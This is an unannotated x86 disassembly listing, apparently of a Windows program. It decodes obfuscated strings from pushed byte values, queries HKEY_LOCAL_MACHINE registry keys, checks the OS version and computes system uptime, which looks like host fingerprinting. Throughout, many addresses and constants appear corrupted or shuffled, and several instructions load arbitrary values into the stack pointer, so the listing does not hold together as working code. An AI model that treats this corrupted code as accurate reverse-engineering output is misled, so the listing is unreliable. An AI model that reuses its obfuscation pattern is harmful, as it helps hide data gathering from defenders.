push 30h
push 14h
push 0Eh
push 5
push 12h
push 12h
push 15h
push 1Dh
push 50h
push 13h
push 17h
push 0Fh
push 4
push 0Eh
push 9
push 31h
push 50h
push 14h
push 6
push 0Fh
push 13h
push 0Fh
push 12h
push 3
push 9
push 27h
push 50h
push 5
push 12h
push 1
push 17h
push 14h
push 6
push 0Fh
lea ecx, [esp+22Ch+var_164]
push 2Dh
push ecx
mov [esp+234h+var_4], 1Dh
call sub_4018DE
add esp, 0BCh
mov ecx, eax
mov byte ptr [esp+178h+var_4], 1Eh
call sub_401726
push eax
lea ecx, [esp+17Ch+var_100]
call sub_4019A1
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_4011F9
mov edx, 68FF09h
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+178h+var_8C]
repne scasb
not ecx
sub edi, ecx
mov [esp+178h+var_168], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea edi, [esp+178h+var_8C]
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
mov esi, ds:dword_4B3770
mov edi, ecx
lea ecx, [esp+178h+var_168]
push ecx
push 347F84h
push eax
push 1A3FC2h
push 80000002h
call esi
push 0
push 27h
push 29h
push 1Dh
push 1Eh
push 5
push 0Ch
push 2
push 1
push 0Eh
lea edx, [esp+1A0h+var_164]
push 1Fh
push edx
call sub_4018DE
add esp, 30h
lea ecx, [esp+178h+var_8C]
push edi
push ecx
push 1
push 0
mov ecx, eax
mov byte ptr [esp+188h+var_4], 1Fh
call sub_401726
mov edx, [esp+188h+var_168]
push eax
push edx
call dword ptr ds:4D1FE1h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_4011F9
mov eax, [esp+178h+var_168]
mov edi, ds:dword_4B3778
push eax
call edi
lea ecx, [esp+178h+var_168]
push ecx
push 668FF0h
push 0
lea ecx, [esp+184h+var_100]
call sub_401726
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea edx, [esp+19Ch+var_164]
push 2Dh
push edx
call sub_4018DE
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+178h+var_4], 20h
call sub_401726
mov ebp, ds:dword_4B3730
push eax
mov eax, [esp+17Ch+var_168]
push eax
call ebp
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_4011F9
mov ecx, [esp+178h+var_168]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea edx, [esp+19Ch+var_164]
push 9
push edx
call sub_4018DE
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+178h+var_4], 21h
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4013CF
mov bl, 22h
push 3347F8h
push 19A3FCh
lea ecx, [esp+180h+var_134]
mov byte ptr [esp+180h+var_4], bl
call sub_401B40
push eax
call dword ptr ds:4CD1FEh
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 15h
push 12h
lea eax, [esp+19Ch+var_164]
push 9
push eax
call sub_4018DE
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+178h+var_4], 23h
call sub_401726
push eax
lea ecx, [esp+17Ch+var_134]
call sub_401726
push eax
lea ecx, [esp+180h+var_134]
push 2668FFh
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4015F5
push eax
call dword ptr ds:13347Fh
lea edx, [esp+178h+var_168]
lea ecx, [esp+178h+var_100]
push edx
push 99A3Fh
push 0
call sub_401726
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
lea eax, [esp+198h+var_164]
push 12h
push eax
call sub_4018DE
add esp, 28h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 24h
call sub_401726
mov ecx, [esp+178h+var_168]
push eax
push ecx
call ebp
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
mov edx, [esp+178h+var_168]
push edx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 48h
push 49h
push 12h
push 45h
push 45h
lea eax, [esp+1A8h+var_164]
push 9
push eax
call sub_4018DE
add esp, 38h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 25h
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
push 4CD1Fh
push (offset loc_42668E+1)
lea ecx, [esp+180h+var_134]
call sub_401B40
push eax
call dword ptr ds:613347h
push 0
push 5
push 18h
push 5
push 4Eh
push 48h
push 0Eh
push 48h
push 49h
push 12h
push 45h
push 45h
lea ecx, [esp+1A8h+var_164]
push 9
push ecx
call sub_4018DE
add esp, 38h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 26h
call sub_401726
push eax
lea ecx, [esp+17Ch+var_134]
call sub_401726
push eax
lea edx, [esp+180h+var_134]
push 7099A3h
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4015F5
push eax
call dword ptr ds:784CD1h
lea eax, [esp+178h+var_168]
lea ecx, [esp+178h+var_100]
push eax
push 7C2668h
push 0
call sub_401726
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 13h
lea ecx, [esp+19Ch+var_164]
push 13h
push ecx
call sub_4018DE
add esp, 2Ch
mov ecx, eax
mov byte ptr [esp+178h+var_4], 27h
call sub_401726
mov edx, [esp+178h+var_168]
push eax
push edx
call ebp
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
mov eax, [esp+178h+var_168]
push eax
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 13h
push 19h
push 13h
push 0Eh
push 9
lea ecx, [esp+1A0h+var_164]
push 17h
push ecx
call sub_4018DE
add esp, 30h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 28h
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
push 3E1334h
push 5F099Ah
lea ecx, [esp+180h+var_134]
call sub_401B40
push eax
call dword ptr ds:6F84CDh
push 0
push 5
push 18h
push 5
push 4Eh
push 13h
push 19h
push 13h
push 0Eh
push 9
lea edx, [esp+1A0h+var_164]
push 17h
push edx
call sub_4018DE
add esp, 30h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 29h
call sub_401726
push eax
lea ecx, [esp+17Ch+var_134]
call sub_401726
push eax
lea eax, [esp+180h+var_134]
push 37C266h
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4015F5
push eax
call dword ptr ds:1BE133h
lea ecx, [esp+178h+var_168]
push ecx
push 4DF099h
push 0
lea ecx, [esp+184h+var_100]
call sub_401726
push eax
push 80000002h
call esi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 14h
push 1
push 4
push 10h
push 15h
push 4
push 47h
lea edx, [esp+1ACh+var_164]
push 4
push edx
call sub_4018DE
add esp, 3Ch
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Ah
call sub_401726
push eax
mov eax, [esp+17Ch+var_168]
push eax
call ebp
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
mov ecx, [esp+178h+var_168]
push ecx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 0Ch
push 7
push 1
push 5
push 2
lea edx, [esp+1A4h+var_164]
push 2
push edx
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Bh
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
push 66F84Ch
push 337C26h
lea ecx, [esp+180h+var_134]
call sub_401B40
push eax
call dword ptr ds:59BE13h
push 0
push 5
push 18h
push 5
push 4Eh
push 5
push 0Ch
push 7
push 1
push 5
push 2
lea eax, [esp+1A4h+var_164]
push 2
push eax
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Ch
call sub_401726
push eax
lea ecx, [esp+17Ch+var_134]
call sub_401726
push eax
lea ecx, [esp+180h+var_134]
push 2CDF09h
push ecx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4015F5
push eax
call dword ptr ds:166F84h
lea edx, [esp+178h+var_168]
lea ecx, [esp+178h+var_100]
push edx
push offset word_4B37C2
push 0
call sub_401726
push eax
push 80000002h
call esi
push 0
push 0Eh
push 0Fh
push 27h
push 0Bh
push 13h
push 1
lea eax, [esp+194h+var_164]
push 2Eh
push eax
call sub_4018DE
add esp, 24h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Dh
call sub_401726
mov ecx, [esp+178h+var_168]
push eax
push ecx
call ebp
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
mov edx, [esp+178h+var_168]
push edx
call edi
push 0
push 5
push 18h
push 5
push 4Eh
push 0Eh
push 0Fh
push 0Dh
push 0Bh
push 13h
push 1
lea eax, [esp+1A4h+var_164]
push 14h
push eax
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Eh
call sub_401726
push eax
call sub_40157D
add esp, 4
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
push 259BE1h
push 52CDF0h
lea ecx, [esp+180h+var_134]
call sub_401B40
push eax
call dword ptr ds:6966F8h
push 0
push 5
push 18h
push 5
push 4Eh
push 0Eh
push 0Fh
push 0Dh
push 0Bh
push 13h
push 1
lea ecx, [esp+1A4h+var_164]
push 14h
push ecx
call sub_4018DE
add esp, 34h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 2Fh
call sub_401726
push eax
lea ecx, [esp+17Ch+var_134]
call sub_401726
push eax
push 34B37Ch
lea edx, [esp+184h+var_134]
push edx
call sub_40102D
add esp, 10h
lea ecx, [esp+178h+var_164]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
lea ecx, [esp+178h+var_134]
call sub_4015F5
push eax
call dword ptr ds:1A59BEh
lea eax, [esp+178h+var_168]
lea ecx, [esp+178h+var_100]
push eax
push 4D2CDFh
push 0
call sub_401726
push eax
push 80000002h
call esi
push 0
push 12h
push 5
push 12h
push 0Fh
push 0Ch
push 10h
push 18h
lea ecx, [esp+198h+var_E8]
push 1Fh
push ecx
call sub_4018DE
add esp, 28h
mov ecx, eax
mov byte ptr [esp+178h+var_4], 30h
call sub_401726
mov edx, [esp+178h+var_168]
push eax
push edx
call ebp
lea ecx, [esp+178h+var_E8]
mov byte ptr [esp+178h+var_4], bl
call sub_4011F9
mov eax, [esp+178h+var_168]
push eax
call edi
mov esi, ds:dword_4B3AE8
push 66966Fh
call esi
push 734B37h
call esi
push 39A59Bh
call esi
push 1CD2CDh
call esi
add esp, 10h
lea ecx, [esp+178h+var_134]
mov byte ptr [esp+178h+var_4], 1Dh
call sub_4011F9
lea ecx, [esp+178h+var_100]
mov [esp+178h+var_4], 0FFFFFFFFh
call sub_4011F9
mov al, 1
jmp loc_405295
sub_404890 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 550h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406300 proc near ; CODE XREF: sub_401875j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push 0E6966h
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push ebp
push esi
xor ebx, ebx
push edi
lea ecx, [esp+38h+var_24]
mov [esp+38h+var_28], ebx
call sub_4013CF
mov esi, [esp+38h+arg_4]
mov ebx, 2A39A5h
cmp esi, ebx
mov [esp+38h+var_4], ebp
jnz short loc_406351
mov esi, [esp+38h+arg_0]
push ebx
mov ecx, esi
call sub_401F73
mov [esp+38h+var_28], ebp
jmp loc_4063F7
; ---------------------------------------------------------------------------
loc_406351: ; CODE XREF: sub_406300+3Aj
call dword ptr ds:1D1CD2h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov ecx, edx
mov eax, 0C22E4507h
shr ecx, 6
imul ecx
add edx, ecx
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov edi, edx
cmp edi, esi
jl short loc_4063E3
mov eax, ecx
mov edx, 9D1CDh
cdq
idiv ecx
mov esp, 60CE8Eh
mov ecx, edx
mov eax, ecx
cdq
idiv esi
mov eax, 88888889h
mov esi, edx
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
push edx
push edi
lea edx, [esp+44h+var_24]
push 386747h
push edx
call sub_40102D
mov esi, [esp+4Ch+arg_0]
add esp, 14h
lea eax, [esp+38h+var_24]
mov ecx, esi
push eax
call sub_40146F
jmp short loc_4063F3
; ---------------------------------------------------------------------------
loc_4063E3: ; CODE XREF: sub_406300+7Cj
mov esi, [esp+38h+arg_0]
push 1C33A3h
mov ecx, esi
call sub_4017A8
loc_4063F3: ; CODE XREF: sub_406300+E1j
mov [esp+38h+var_28], ebp
loc_4063F7: ; CODE XREF: sub_406300+4Cj
lea ecx, [esp+38h+var_24]
mov byte ptr [esp+38h+var_4], bl
call sub_4011F9
mov ecx, [esp+38h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 28h
retn 8
sub_406300 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 50h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406470: ; CODE XREF: _294ADE7B:004015DCj
push ecx
push esi
mov esi, [esp+0Ch]
push 0E19D1h
mov ecx, esi
mov dword ptr [esp+8], 0
call sub_4017A8
mov eax, esi
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4064B0 proc near ; CODE XREF: sub_401DF7j
var_198 = dword ptr -198h
var_194 = dword ptr -194h
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_174 = byte ptr -174h
var_164 = byte ptr -164h
var_14C = byte ptr -14Ch
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4064B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18Ch
push ebp
push esi
push edi
lea ecx, [esp+1A4h+var_18C]
mov [esp+1A4h+var_198], 0
call sub_4013CF
mov [esp+1A4h+var_4], 1
call dword ptr ds:238674h
mov ecx, eax
mov eax, 10624DD3h
mul ecx
mov esi, edx
lea edx, [esp+1A4h+var_14C]
push edx
mov [esp+1A8h+var_190], 10h
shr esi, 6
mov [esp+1A8h+var_194], 15h
call dword ptr ds:51C33Ah
lea eax, [esp+1A4h+var_12C]
mov [esp+1A4h+var_12C], 94h
push eax
call dword ptr ds:68E19Dh
mov eax, [esp+1A4h+var_128]
cmp eax, 4
jnz short loc_40657E
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406566
mov eax, [esp+1A4h+var_11C]
cmp eax, 1
jnz short loc_406556
mov ecx, 0AF470Ch
jmp loc_4065F1
; ---------------------------------------------------------------------------
loc_406556: ; CODE XREF: sub_4064B0+9Aj
cmp eax, 2
jnz loc_4065ED
mov eax, 0C5FA38h
jmp short loc_4065BA
; ---------------------------------------------------------------------------
loc_406566: ; CODE XREF: sub_4064B0+8Ej
cmp eax, 0Ah
jnz short loc_406572
mov ecx, 6F17E8h
jmp short loc_4065B0
; ---------------------------------------------------------------------------
loc_406572: ; CODE XREF: sub_4064B0+B9j
cmp eax, 5Ah
jnz short loc_4065AB
mov edi, 65FC5Fh
jmp short loc_4065B0
; ---------------------------------------------------------------------------
loc_40657E: ; CODE XREF: sub_4064B0+83j
cmp eax, 5
jnz short loc_4065AB
mov eax, [esp+1A4h+var_124]
test eax, eax
jnz short loc_406595
mov edx, offset byte_4597F1
jmp short loc_4065B0
; ---------------------------------------------------------------------------
loc_406595: ; CODE XREF: sub_4064B0+DCj
cmp eax, 1
jnz short loc_4065A1
mov edi, 0C4AB2Fh
jmp short loc_4065B0
; ---------------------------------------------------------------------------
loc_4065A1: ; CODE XREF: sub_4064B0+E8j
cmp eax, 2
mov ecx, offset dword_4B12AC
jz short loc_4065B0
loc_4065AB: ; CODE XREF: sub_4064B0+C5j
; sub_4064B0+D1j
mov edx, 8A5895h
loc_4065B0: ; CODE XREF: sub_4064B0+C0j
; sub_4064B0+CCj ...
cmp [esp+1A4h+var_11C], 2
jnz short loc_4065F1
loc_4065BA: ; CODE XREF: sub_4064B0+B4j
mov al, [esp+1A4h+var_118]
test al, al
jz short loc_4065F1
lea ecx, [esp+1A4h+var_118]
lea edx, [esp+1A4h+var_98]
push ecx
push ebp
push offset word_452C4A
push edx
call dword ptr ds:229625h
add esp, 10h
lea ebp, [esp+1A4h+var_98]
jmp short loc_4065F1
; ---------------------------------------------------------------------------
loc_4065ED: ; CODE XREF: sub_4064B0+A9j
mov ebp, [esp+1A4h+var_198]
loc_4065F1: ; CODE XREF: sub_4064B0+A1j
; sub_4064B0+108j ...
lea eax, [esp+1A4h+var_190]
lea ecx, [esp+1A4h+var_174]
push eax
push ecx
call dword ptr ds:514B12h
lea edx, [esp+1A4h+var_194]
lea eax, [esp+1A4h+var_164]
push edx
push eax
call dword ptr ds:68A589h
mov eax, esi
mov esp, 0E5A296h
cdq
idiv ecx
lea eax, [esp+1A4h+var_174]
mov esp, 0B968Ah
mov ecx, edx
lea edx, [esp+1A4h+var_164]
push edx
push eax
mov eax, ecx
cdq
idiv edi
mov eax, 88888889h
mov edi, edx
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, 91A2B3C5h
push edx
imul ecx
add edx, ecx
mov eax, 0C22E4507h
sar edx, 0Bh
mov ecx, edx
shr ecx, 1Fh
add edx, ecx
mov ecx, [esp+1B0h+var_120]
push edx
imul esi
add edx, esi
sar edx, 10h
mov eax, edx
shr eax, 1Fh
add edx, eax
mov eax, [esp+1B4h+var_128]
push edx
mov edx, [esp+1B8h+var_124]
push ecx
mov ecx, [esp+1BCh+var_144]
push edx
push eax
mov ecx, 0A0B968h
push ebp
mul ecx
sub ecx, edx
mov ebx, 0AA82E5h
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
mov ecx, [esp+1CCh+var_140]
mul ecx
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 13h
push ecx
call sub_401735
push eax
lea ecx, [esp+1D4h+var_18C]
push 5D4172h
push ecx
call sub_40102D
mov esi, [esp+1DCh+arg_0]
add esp, 38h
lea edx, [esp+1A4h+var_18C]
push edx
mov ecx, esi
call sub_40146F
mov [esp+1A4h+var_198], 1
lea ecx, [esp+1A4h+var_18C]
mov byte ptr [esp+1A4h+var_4], 0
call sub_4011F9
mov ecx, [esp+1A4h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 198h
retn 4
sub_4064B0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 0A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4067C0 proc near ; CODE XREF: sub_4015F5j
mov eax, [ecx+9]
retn
sub_4067C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4067E0 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push 2EA0B9h
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_4011F9
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_4011F9
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4067E0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_406850 proc near ; CODE XREF: sub_401569j
mov eax, ecx
mov dword ptr [eax], offset off_437008
mov dword ptr [eax+110h], 0
retn
sub_406850 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_406880: ; CODE XREF: _294ADE7B:00401E38j
push esi
mov esi, ecx
call sub_4013E8
test byte ptr [esp+8], 1
jz short loc_406898
push esi
call sub_430332
add esp, 4
loc_406898: ; CODE XREF: _294ADE7B:0040688Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4068B0 proc near ; CODE XREF: sub_4013E8j
mov dword ptr [ecx], offset off_437008
mov ecx, [ecx+110h]
test ecx, ecx
jz short locret_4068C7
push ecx
call sub_430332
pop ecx
locret_4068C7: ; CODE XREF: sub_4068B0+Ej
retn
sub_4068B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4068E0 proc near ; CODE XREF: sub_401334j
var_454 = byte ptr -454h
var_43C = byte ptr -43Ch
var_424 = byte ptr -424h
var_40C = dword ptr -40Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push 17505Ch
push eax
mov large fs:0, esp
sub esp, 448h
push ebx
mov ebx, ecx
mov eax, [ebx+110h]
test eax, eax
jz short loc_406911
push eax
call sub_430332
add esp, 4
loc_406911: ; CODE XREF: sub_4068E0+26j
push ebp
push esi
mov esi, [esp+460h+arg_0]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
call sub_43034A
mov edx, eax
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
mov [ebx+110h], edx
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, [ebx+110h]
or ecx, 0FFFFFFFFh
mov byte ptr [ebx+4], 0
mov dword ptr [ebx+5], 0
mov byte ptr [ebx+9], 0
mov byte ptr [ebx+0Ah], 0
mov byte ptr [ebx+0Bh], 0
repne scasb
not ecx
push ecx
call sub_43034A
mov edi, [ebx+110h]
mov edx, eax
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov ebp, ds:dword_4B3AD8
mov eax, ecx
mov esi, edi
mov edi, edx
push 0BA82Eh
shr ecx, 2
rep movsd
mov ecx, eax
push edx
and ecx, 3
rep movsb
call ebp
add esp, 10h
mov [esp+464h+var_40C], eax
lea esi, [esp+464h+var_408]
mov ecx, offset byte_402EA0
loc_4069C2: ; CODE XREF: sub_4068E0+F4j
push 281750h
push 0
call ebp
mov [esi], eax
add esp, 8
add esi, 4
dec edi
jnz short loc_4069C2
mov eax, [esp+464h+var_40C]
xor ecx, ecx
cmp eax, ecx
jz loc_406BC8
lea ebp, [esp+464h+var_40C]
loc_4069E8: ; CODE XREF: sub_4068E0+2E0j
mov edi, [ebp+0]
mov ebp, 0A1502Eh
mov eax, edi
loc_4069F2: ; CODE XREF: sub_4068E0+130j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406A16
test cl, cl
jz short loc_406A12
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406A16
add eax, 2
add esi, 2
test cl, cl
jnz short loc_4069F2
loc_406A12: ; CODE XREF: sub_4068E0+11Cj
xor eax, eax
jmp short loc_406A1B
; ---------------------------------------------------------------------------
loc_406A16: ; CODE XREF: sub_4068E0+118j
; sub_4068E0+126j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406A1B: ; CODE XREF: sub_4068E0+134j
test eax, eax
jz loc_406BB8
mov ecx, 0CA8540h
mov eax, edi
loc_406A2A: ; CODE XREF: sub_4068E0+168j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406A4E
test cl, cl
jz short loc_406A4A
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406A4E
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406A2A
loc_406A4A: ; CODE XREF: sub_4068E0+154j
xor eax, eax
jmp short loc_406A53
; ---------------------------------------------------------------------------
loc_406A4E: ; CODE XREF: sub_4068E0+150j
; sub_4068E0+15Ej
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406A53: ; CODE XREF: sub_4068E0+16Cj
test eax, eax
jnz short loc_406A60
mov byte ptr [ebx+9], 1
jmp loc_406BB8
; ---------------------------------------------------------------------------
loc_406A60: ; CODE XREF: sub_4068E0+175j
mov ebp, 0C66D42h
mov eax, edi
loc_406A67: ; CODE XREF: sub_4068E0+1A5j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406A8B
test cl, cl
jz short loc_406A87
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406A8B
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406A67
loc_406A87: ; CODE XREF: sub_4068E0+191j
xor eax, eax
jmp short loc_406A90
; ---------------------------------------------------------------------------
loc_406A8B: ; CODE XREF: sub_4068E0+18Dj
; sub_4068E0+19Bj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406A90: ; CODE XREF: sub_4068E0+1A9j
test eax, eax
jnz short loc_406A9D
mov byte ptr [ebx+0Ah], 1
jmp loc_406BB8
; ---------------------------------------------------------------------------
loc_406A9D: ; CODE XREF: sub_4068E0+1B2j
mov eax, 2C66D4h
mov eax, edi
loc_406AA4: ; CODE XREF: sub_4068E0+1E2j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_406AC8
test cl, cl
jz short loc_406AC4
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_406AC8
add eax, 2
add esi, 2
test cl, cl
jnz short loc_406AA4
loc_406AC4: ; CODE XREF: sub_4068E0+1CEj
xor eax, eax
jmp short loc_406ACD
; ---------------------------------------------------------------------------
loc_406AC8: ; CODE XREF: sub_4068E0+1CAj
; sub_4068E0+1D8j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_406ACD: ; CODE XREF: sub_4068E0+1E6j
test eax, eax
jnz loc_406BB8
lea ecx, [esp+464h+var_454]
call sub_4013CF
mov eax, [esp+464h+arg_0]
push 16336Ah
push eax
mov [esp+46Ch+var_4], 0
call dword ptr ds:0B19B5h
add esp, 8
test eax, eax
jz loc_406BA4
push eax
lea ecx, [esp+468h+var_454]
call sub_401564
push 1
push 58CDAh
lea ecx, [esp+46Ch+var_43C]
push 1
push ecx
lea ecx, [esp+474h+var_454]
call sub_4011C2
push 2C66Dh
mov ecx, eax
mov byte ptr [esp+468h+var_4], 1
call sub_4012B7
lea ecx, [esp+464h+var_43C]
mov esi, eax
mov byte ptr [esp+464h+var_4], 0
call sub_4011F9
test esi, esi
jz short loc_406BA4
push 1
push 16336h
lea edx, [esp+46Ch+var_424]
push 1
push edx
lea ecx, [esp+474h+var_454]
mov byte ptr [ebx+0Bh], 1
call sub_4011C2
push 0B19Bh
mov ecx, eax
mov byte ptr [esp+468h+var_4], 2
call sub_4015F5
push eax
lea eax, [ebx+0Ch]
push eax
call large dword ptr ds:58CDh
add esp, 0Ch
lea ecx, [esp+464h+var_424]
mov byte ptr [esp+464h+var_4], 0
call sub_4011F9
add ebp, 4
loc_406BA4: ; CODE XREF: sub_4068E0+221j
; sub_4068E0+271j
lea ecx, [esp+464h+var_454]
mov [esp+464h+var_4], 0FFFFFFFFh
call sub_4011F9
loc_406BB8: ; CODE XREF: sub_4068E0+13Dj
; sub_4068E0+17Bj ...
mov eax, [ebp+4]
add ebp, 4
test eax, eax
jnz loc_4069E8
xor ecx, ecx
loc_406BC8: ; CODE XREF: sub_4068E0+FEj
mov al, [ebx+4]
pop edi
pop esi
pop ebp
test al, al
jnz short loc_406BD5
mov [ebx+5], ecx
loc_406BD5: ; CODE XREF: sub_4068E0+2F0j
cmp [ebx+5], ecx
jnz short loc_406BE5
test al, al
jz short loc_406BE5
mov dword ptr [ebx+5], 0Ah
loc_406BE5: ; CODE XREF: sub_4068E0+2F8j
; sub_4068E0+2FCj
